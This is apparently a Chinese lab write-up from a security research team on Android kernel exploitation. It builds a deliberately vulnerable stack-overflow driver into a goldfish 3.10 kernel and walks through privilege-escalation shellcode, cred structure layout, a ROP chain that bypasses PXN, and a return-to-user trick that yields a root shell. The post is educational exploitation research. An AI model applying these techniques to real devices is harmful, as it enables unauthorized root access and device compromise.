作者:Hcamael@知道创宇404实验室

最近在研究一个最简单的android内核的栈溢出利用方法,网上的资料很少,就算有也是旧版内核的,新版的内核有了很大的不同,如果放在x86上本应该是很简单的东西,但是arm指令集有很大的不同,所以踩了很多坑。

把上一篇改了一下名字,换成了从0开始学Linux内核,毕竟不是专业搞开发的,所以驱动开发没必要学那么深,只要会用,能看懂代码基本就够用了。本篇开始学Linux kernel pwn了,而内核能搞的也就是提权,而提权比较多人搞的就是x86和arm指令集的Linux系统提权了,arm指令集的基本都是安卓root和iOS越狱,而mips指令集的几乎没啥人在搞,感觉是应用场景少。

环境准备

android内核编译

  • 下载相关源码依赖

android内核源码使用的是goldfish[1],直接clone下来,又大又慢又久,在git目录下编译也麻烦,所以想搞那个版本的直接下那个分支的压缩包就好了

本文使用的工具的下载地址:

  • 源码:https://android.googlesource.com/kernel/goldfish/+archive/android-goldfish-3.10.tar.gz

  • 交叉编译工具:https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.6

  • 一键编译脚本:https://android.googlesource.com/platform/prebuilts/qemu-kernel/+/master

PS:git clone速度慢的话可以使用国内镜像加速:s/android.googlesource.com/aosp.tuna.tsinghua.edu.cn/

# 下载源码

$ wget https://android.googlesource.com/kernel/goldfish/+archive/android-goldfish-3.10.tar.gz

$ tar zxf goldfish-android-goldfish-3.10.tar.gz

# 下载编译工具

$ git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.6

# 下载一键编译脚本

$ git clone https://android.googlesource.com/platform/prebuilts/qemu-kernel/

# 只需要kernel-toolchain和build-kernel.sh

$ cp qemu-kernel/build-kernel.sh goldfish/

$ cp -r qemu-kernel/kernel-toolchain/ goldfish/

  • 修改内核

学android kernel pwn最初看的是Github上的一个项目[3],不过依赖的是旧内核,估计是android 3.4以下的内核,在3.10以上的有各种问题,所以我自己做了些修改,也开了一个Github源:https://github.com/Hcamael/android_kernel_pwn

对kernel源码有两点需要修改:

1.添加调试符号

首先需要知道自己要编译那个版本的,我编译的是32位Android内核,使用的是goldfish_armv7,配置文件在: arch/arm/configs/goldfish_armv7_defconfig

但是不知道为啥3.10里没有该配置文件,不过用ranchu也一样:

给内核添加调试符号,只需要在上面的这个配置文件中添加:CONFIG_DEBUG_INFO=y,如果是goldfish就需要自己添加,ranchu默认配置已经有了,所以不需要更改。

2.添加包含漏洞的驱动

目的是研究Android提权利用方法,所以是自己添加一个包含栈溢出的驱动,该步骤就是学习如何添加自己写的驱动

上面给了一个我的Github项目,把该项目中的vulnerabilities/目录复制到内核源码的驱动目录中:

$ cp vulnerabilities/ goldfish/drivers/

修改Makefile:

$ echo "obj-y += vulnerabilities/" >> drivers/Makefile

导入环境变量后,使用一键编译脚本进行编译:

$ export PATH=/root/arm-linux-androideabi-4.6/bin/:$PATH

$ ./build-kernel.sh --config="ranchu"

PS: 在docker中复现环境的时候遇到一个问题,可以参考:

https://stackoverflow.com/questions/42895145/cross-compile-the-kernel

编译好后的内核在/tmp/qemu-kernel目录下,有两个文件,一个zImage,内核启动镜像,一个vmlinux是kernel的binary文件,丢ida里面分析内核,或者给gdb提供符号信息

Android模拟环境准备

内核编译好后,就是搞Android环境了,可以直接使用Android Studio[2]一把梭,但是如果不搞开发的话,感觉Studio太臃肿了,下载也要下半天,不过还好,官方提供了命令行工具,觉得Studio太大的可以只下这个

PS: 记得装java,最新版的java 11不能用,我用的是java 8

建一个目录,然后把下载的tools放到这个目录中

$ mkdir android_sdk $ mv tools android_sdk/

首先需要使用tools/bin/sdkmanager装一些工具

# 用来编译android binary(exp)的,如果直接用arm-liunx-gcc交叉编译工具会缺一些依赖,解决依赖太麻烦了,还是用ndk一把梭方便

$ ./bin/sdkmanager --install "ndk-bundle"

# android模拟器

$ ./bin/sdkmanager --install "emulator"

# avd

$ ./bin/sdkmanager --install "platforms;android-19"

$ ./bin/sdkmanager --install "system-images;android-19;google_apis;armeabi-v7a"

# 其他

$ ./bin/sdkmanager --install "platform-tools"

PS:因为是32位的,所以选择的是armeabi-v7a

PSS: 我一共测试过19, 24, 25,发现在24,25中,自己写的包含漏洞的驱动只有特权用户能访问,没去仔细研究为啥,就先使用低版本的android-19了

创建安卓虚拟设备:

./bin/avdmanager create avd -k "system-images;android-19;google_apis;armeabi-v7a" -d 5 -n "kernel_test"

启动:

$ export kernel_path=ranchu_3.10_zImage

或者

$ export kernel_path=goldfish_3.10_zImage

$ ./emulator  -show-kernel -kernel $kernel_path -avd kernel_test -no-audio -no-boot-anim -no-window -no-snapshot -qemu  -s

去测试下我写的exp:

$ cd ~/goldfish/drivers/vulnerabilities/stack_buffer_overflow/solution $ ./build_and_run.sh

编译好了之后运行,记得要用普通用户运行:

shell@generic:/ $ id

id

uid=2000(shell) gid=1007(log) context=u:r:init_shell:s0

shell@generic:/ $ /data/local/tmp/stack_buffer_overflow_exploit

/data/local/tmp/stack_buffer_overflow_exploit

start

shell@generic:/ # id

id

uid=0(root) gid=0(root) context=u:r:kernel:s0

Android 内核提权研究

环境能跑通以后,就来说说我的exp是怎么写出来的。

首先说一下,我的环境都是来源于AndroidKernelExploitationPlayground项目[3],但是实际测试的发现,该项目中依赖的估计是3.4的内核,但是现在的emulator要求内核版本大于等于3.10

从内核3.4到3.10有许多变化,首先,对内核的一些函数做了删减修改,所以需要改改驱动的代码,其次就是3.4的内核没有开PXN保护,在内核态可以跳转到用户态的内存空间去执行代码,所以该项目中给的exp是使用shellcode,但是在3.10内核中却开启了PXN保护,无法执行用户态内存中的shellcode

提权思路

搞内核Pwn基本都是一个目的——提权。那么在Linux在怎么把权限从普通用户变成特权用户呢?

一般提权的shellcode长这样:

asm

(

"    .text\n"

"    .align 2\n"

"    .code 32\n"

"    .globl shellCode\n\t"

"shellCode:\n\t"

// commit_creds(prepare_kernel_cred(0));

// -> get root

"LDR     R3, =0xc0039d34\n\t"   //prepare_kernel_cred addr

"MOV     R0, #0\n\t"

"BLX     R3\n\t"

"LDR     R3, =0xc0039834\n\t"   //commit_creds addr

"BLX     R3\n\t"

"mov r3, #0x40000010\n\t"

"MSR    CPSR_c,R3\n\t"

"LDR     R3, =0x879c\n\t"     // payload function addr

"BLX     R3\n\t"

);

这个shellcode提权的思路有三步:

  1. prepare_kernel_cred(0) 创建一个特权用户cred

  2. commit_creds(prepare_kernel_cred(0)); 把当前用户cred设置为该特权cred

  3. MSR CPSR_c,R3 从内核态切换回用户态(详情自己百度这句指令和CPSR寄存器)

切换回用户态后,当前程序的权限已经变为root,这时候就可以执行/bin/sh

再继续深入研究,就涉及到内核的三个结构体:

$ cat ./arch/arm/include/asm/thread_info.h

......

struct thread_info {

......

struct task_struct      *task;          /* main task structure */

......

};

......

$ cat ./include/linux/sched.h

......

struct task_struct {

......

const struct cred __rcu *real_cred;

......

};

......

$ cat ./include/linux/cred.h

......

struct cred {

atomic_t        usage;

#ifdef CONFIG_DEBUG_CREDENTIALS

atomic_t        subscribers;    /* number of processes subscribed */

void            *put_addr;

unsigned        magic;

#define CRED_MAGIC      0x43736564

#define CRED_MAGIC_DEAD 0x44656144

#endif

kuid_t          uid;            /* real UID of the task */

kgid_t          gid;            /* real GID of the task */

kuid_t          suid;           /* saved UID of the task */

kgid_t          sgid;           /* saved GID of the task */

kuid_t          euid;           /* effective UID of the task */

kgid_t          egid;           /* effective GID of the task */

kuid_t          fsuid;          /* UID for VFS ops */

kgid_t          fsgid;          /* GID for VFS ops */

unsigned        securebits;     /* SUID-less security management */

kernel_cap_t    cap_inheritable; /* caps our children can inherit */

kernel_cap_t    cap_permitted;  /* caps we're permitted */

kernel_cap_t    cap_effective;  /* caps we can actually use */

kernel_cap_t    cap_bset;       /* capability bounding set */

kernel_cap_t    cap_ambient;    /* Ambient capability set */

#ifdef CONFIG_KEYS

unsigned char   jit_keyring;    /* default keyring to attach requested

* keys to */

struct key __rcu *session_keyring; /* keyring inherited over fork */

struct key      *process_keyring; /* keyring private to this process */

struct key      *thread_keyring; /* keyring private to this thread */

struct key      *request_key_auth; /* assumed request_key authority */

#endif

#ifdef CONFIG_SECURITY

void            *security;      /* subjective LSM security */

#endif

struct user_struct *user;       /* real user ID subscription */

struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */

struct group_info *group_info;  /* supplementary groups for euid/fsgid */

struct rcu_head rcu;            /* RCU deletion hook */

};

......

每个进程都有一个单独thread_info结构体,我们来看看内核是怎么获取到每个进程的thread_info结构体的信息的:

#define THREAD_SIZE             8192

......

static inline struct thread_info *current_thread_info(void)

{

register unsigned long sp asm ("sp");

return (struct thread_info *)(sp & ~(THREAD_SIZE - 1));

}

有点内核基础知识的应该知道,内核的栈是有大小限制的,在arm32中栈的大小是0x2000,而thread_info的信息储存在栈的最底部

所以,如果我们能获取到当前进程在内核中运行时的其中一个栈地址,我们就能找到thread_info,从而顺藤摸瓜得到cred的地址,如果能任意写内核,则可以修改cred的信息,从而提权

总得来说,内核提权其实只有一条路可走,就是修改cred信息,而commit_creds(prepare_kernel_cred(0));不过是内核提供的修改cred的函数罢了。

我们来通过gdb展示下cred数据:

$ shell@generic:/ $ id

id

uid=2000(shell) gid=1007(log) context=u:r:init_shell:s0

--------------------------------------

通过gdb可以获取到:$sp  : 0xd415bf40

从而计算出栈底地址:0xd415a000

然后我们就能获取到thread_info的信息,然后得到task_struct的地址:0xd4d16680

接着我们查看task_struct的信息,得到了cred的地址:0xd4167780

gef> p *(struct task_struct *)0xd4d16680

$2 = {

......

real_cred = 0xd4167780,

cred = 0xd4167780,

......

# 数据太长了,就不截图了

然后查看cred的信息:

把uid和gid的十六进制转换成十进制,发现就是当前进程的权限

使用ROP绕过PXN来进行android提权

既然我们已经知道了怎么修改权限,那么接下来就研究一下如何利用漏洞来提权,因为是研究利用方式,所以自己造了一个最基础的栈溢出

int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)

{

char buf[MAX_LENGTH];

if (copy_from_user(&buf, ubuf, count)) {

printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n");

return -EFAULT;

}

return count;

}

因为开了PXN,所以没办法使用shellcode,然后我第一个想到的思路就是使用ROP来执行shellcode的操作

这里说一下,不要使用ROPgadget,用这个跑内核的ELF,要跑贼久,推荐使用ROPPER[4]

$ ropper -f /mnt/hgfs/tmp/android_kernel/ranchu_3.10_vmlinux --nocolor > ranchu_ropper_gadget

然后就是找commit_creds, prepare_kernel_cred这两个函数的地址,在没有开启kalsr的内核中,我们可以直接把vmlinux丢到ida里面,找这两个函数的地址

到这里,我们可以构造出如下的rop链:

*pc++ = 0x41424344;      // r4

*pc++ = 0xC00B8D68;      // ; mov r0, #0; pop {r4, pc}

*pc++ = 0x41424344;      // r4

*pc++ = 0xC00430F4;      // ; prepare_kernel_cred(0) -> pop {r3-r5, pc}

*pc++ = 0x41424344;      // r3

*pc++ = 0x41424344;      // r4

*pc++ = 0x41424344;      // r5

*pc++ = 0xC0042BFC;      // ; commit_creds -> pop {r4-r6, pc}

*pc++ = 0x41424344;      // r4

*pc++ = 0x41424344;      // r5

*pc++ = 0x41424344;      // r6

在成功修改当前进程的权限之后,我们需要把当前进程从内核态切换回用户态,然后在用户态执行/bin/sh,就能提权成功了

但是这里遇到一个问题,在shellcode中,使用的是:

"mov r3, #0x40000010\n\t"

"MSR    CPSR_c,R3\n\t"

"LDR     R3, =0x879c\n\t"     // payload function addr

"BLX     R3\n\t"

我也很容易能找到gadget: msr cpsr_c, r4; pop {r4, pc};

但是却没法成功切换回用户态,网上相关的资料几乎没有,我也找不到问题的原因,在执行完msr cpsr_c, r4指令以后,栈信息会发现变化,导致没法控制pc的跳转

不过后来,我跟踪内核的执行,发现内核本身是通过ret_fast_syscall函数来切换回用户态的:

$ cat ./arch/arm/kernel/entry-common.S

......

ret_fast_syscall:

UNWIND(.fnstart        )

UNWIND(.cantunwind     )

disable_irq                             @ disable interrupts

ldr     r1, [tsk, #TI_FLAGS]

tst     r1, #_TIF_WORK_MASK

bne     fast_work_pending

asm_trace_hardirqs_on

/* perform architecture specific actions before user return */

arch_ret_to_user r1, lr

ct_user_enter

restore_user_regs fast = 1, offset = S_OFF

UNWIND(.fnend          )

......

-----------------------------

0xc000df80 : cpsid i

0xc000df84 : ldr r1, [r9]

0xc000df88 : tst r1, #7

0xc000df8c : bne 0xc000dfb0

0xc000df90 : ldr r1, [sp, #72] ; 0x48

0xc000df94 : ldr lr, [sp, #68]! ; 0x44

0xc000df98 : msr SPSR_fsxc, r1

0xc000df9c : clrex

0xc000dfa0 : ldmdb sp, {r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11, r12, sp, lr}

0xc000dfa4 : nop; (mov r0, r0)

0xc000dfa8 : add sp, sp, #12

0xc000dfac : movs pc, lr

经过我测试发现,使用msr  SPSR_fsxc, r1可以成功从内核态切换回用户态,但是该指令却只存在于该函数之前,无法找到相关的gadget,之后我想了很多利用该函数的方法,最后测试成功的方法是:

计算有漏洞的溢出函数的栈和ret_fast_syscall函数栈的距离,在使用ROP执行完commit_creds(prepare_kernel_cred(0));之后,使用合适的gadget来修改栈地址(比如: add sp, sp, #0x30; pop {r4, r5, r6, pc};),然后控制pc跳转到0xc000df90 :,这样程序就相当于执行完了内核的syscall,然后切换回用户进程代码继续执行,在我们的用户态代码中后续执行如下函数,就能成功提权:

void payload(void)

{

if (getuid() == 0) {

execl("/system/bin/sh", "sh", NULL);

} else {

warnx("failed to get root. How did we even get here?");

}

_exit(0);

}

完整exp可以见我的Github。

ROP只是其中一种利用方法,后续还会研究其他利用方法和在64位android下的利用。

codova添加android慢_从 0 开始学 Linux 内核之 android 内核栈溢出 ROP 利用相关推荐

  1. Android Studio support 26.0.0-alpha1 Failed to resolve: com.android.support:appcompat-v7:27.+ 报错解决方法

    Android Studio support 26.0.0-alpha1 Failed to resolve: com.android.support:appcompat-v7:27.+ 报错解决方法 ...

  2. android 发送广播_从0系统学Android--5.2 发送广播

    从0系统学Android--52 发送广播 本系列文章目录:更多精品文章分类 本系列持续更新中-. 初级阶段内容参考<第一行代码> 5.3 发送自定义广播 前面已经学习了如何接受广播了,下 ...

  3. 从0系统学 Android--1.1认识 Android

    一转眼工作也有几年的时间了,一直想沉下心来,再回过头来重新系统的学习一遍 Android.所以就有了这个读书笔记.俗话说温故而知新,下面就请大家再跟着我系统的学习一篇 Android 吧! 这一系列主 ...

  4. 从零开始学android编程_小白也能学得会!谷歌推出免费的Kotlin和Android开发课程...

    程序员书库(ID:CodingBook) 猿妹编译 链接:https://android-developers.googleblog.com/2020/07/learn-android-and-kot ...

  5. 华为云电脑.模式_今晚0元学华为云计算HCIA课程!快上车,提前了解云计算三种服务模式...

    点上方蓝字关注,每天都有新收获! 学网络,就在IE-LAB 国内高端网络工程师培养基地 今晚0元学华为云计算HCIA课程! 快上车啦 今晚7:30--9:30 扫码火速报名 云计算是一种全新的商业模式 ...

  6. android activity启动模式_从0系统学Android--2.5Activity启动模式

    本系列文章目录:更多精品文章分类 本系列持续更新中-. Activity 的启动模式一共有四种,分别是:standard.singleTop.singleTask.singleInstance .在实 ...

  7. python的pygame游戏开始结束信息_从0开始学python第14.8节-pygame射击游戏(一)

    我们在pycharm里新建一个工程,起名字为star-wars.工程创建好后,我们新建一个src文件夹用来存放代码.接下来在src下创建Main.py,代码如下:import pygame from ...

  8. linux将db2账户添加到组_超实用的shell脚本--Linux安全加固设置,值得收藏

    概述 近几年来Internet变得更加不安全了.网络的通信量日益加大,越来越多的重要交易正在通过网络完成,与此同时数据被损坏.截取和修改的风险也在增加. 只要有值得偷窃的东西就会有想办法窃取它的人.I ...

  9. android gradle 1.5.0,Cordova build – 无法解析com.android.tools.build:gradle:1.5.0

    在升级了cordova和我机器的npm(Ubuntu 15.10)之后,我无法使用cordova建立一个新项目.构建控制了graddle中的错误. 我做了一些研究,发现了一些可能的解决方案更改版本和u ...

最新文章

  1. 最先进的开源游戏引擎KlayGE 3.12.0发布
  2. /boor删除恢复,
  3. Office Developers Conference 2006 召开中
  4. Java模板引擎之freemarker简介
  5. C++动态(显式)调用 C++ dll示例
  6. linux 状态码的意义,HTTP状态码是什么?常见的状态码描述都有什么?
  7. react 组件怎么公用_用 react 做一个跟随组件的 tooltip
  8. MVVM下listbox默认显示最后一行
  9. WP7开发第一课:软件生命周期(其二)
  10. Android 2.3.5/4.0.3/4.1PowerManager简单总结和心得体会
  11. Jar包的理解与应用
  12. Convert Sublime Text 2/3 to Licensed Version
  13. Springboot实现微信公众号模板消息发送
  14. opencv 叠加文字_利用opencv为视频添加动态字幕
  15. 计算机专业的情书,【实用】大学各专业表白情书,你能看懂几个
  16. 第六章:详细设计。盒图、问题分析图即PAD图、过程设计语言PDL伪码
  17. 微信小程序获取用户位置信息
  18. 安卓开发---11 Android UI美化
  19. 对未来的自己说一些悄悄话
  20. 84、【backtrader期货策略】一个基于基差套利或者基差投机的期货策略

热门文章

  1. 布局智能家居 三大电信运营商进展如何?
  2. Selenium定位不到元素的解决方法—iframe挡住了去路
  3. 从0开始写JavaWeb框架系列(1)从0开始写SamrtFrameWork:读取配置文件
  4. 源码编译安装php-3.5.8
  5. 解决Win7系统没有声音 麦克无声等问题
  6. 震惊,杨幂的脸竟然出现在了她的身体上
  7. 网易2016游戏技术岗在线编程题(二)
  8. 智能车学习(一)—— 硬件准备
  9. postman-SSL证书问题-支持HTTPS请求
  10. LightOJ 1245 - Harmonic Number (II)